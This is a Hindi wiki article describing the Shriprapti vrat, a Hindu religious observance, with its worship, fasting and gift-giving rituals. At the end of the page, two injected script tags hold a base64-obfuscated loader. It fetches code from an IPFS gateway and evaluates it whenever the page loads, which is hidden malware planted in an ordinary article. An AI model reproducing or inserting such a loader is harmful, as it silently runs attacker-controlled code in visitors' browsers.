श्रीप्राप्ति व्रत
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 07:22, 7 दिसम्बर 2010 का अवतरण (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
(1) हेमाद्रि[1] के मत से जो कमल में रखकर लक्ष्मी प्रतिमा का पूजन करता है, वह एक यज्ञ का फल प्राप्त करता है।
(2) वैशाख पूर्णिमा के उपरान्त पहली तिथि पर आरम्भ होता है।
- एक मास तक पुष्पों-फलों आदि से नारायण एवं लक्ष्मी की पूजा की जाती है।
- धान एवं बिल्व फल से होम किया जाता है।
- दूध एवं दूध से बने पदार्थों से ब्रह्मभोज कराया जाता है।
- ज्येष्ठ में तीन दिनों तक उपवास रखा जाता है।
- सोने एवं दो वस्त्रों का दान दिया जाता है।[2]
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>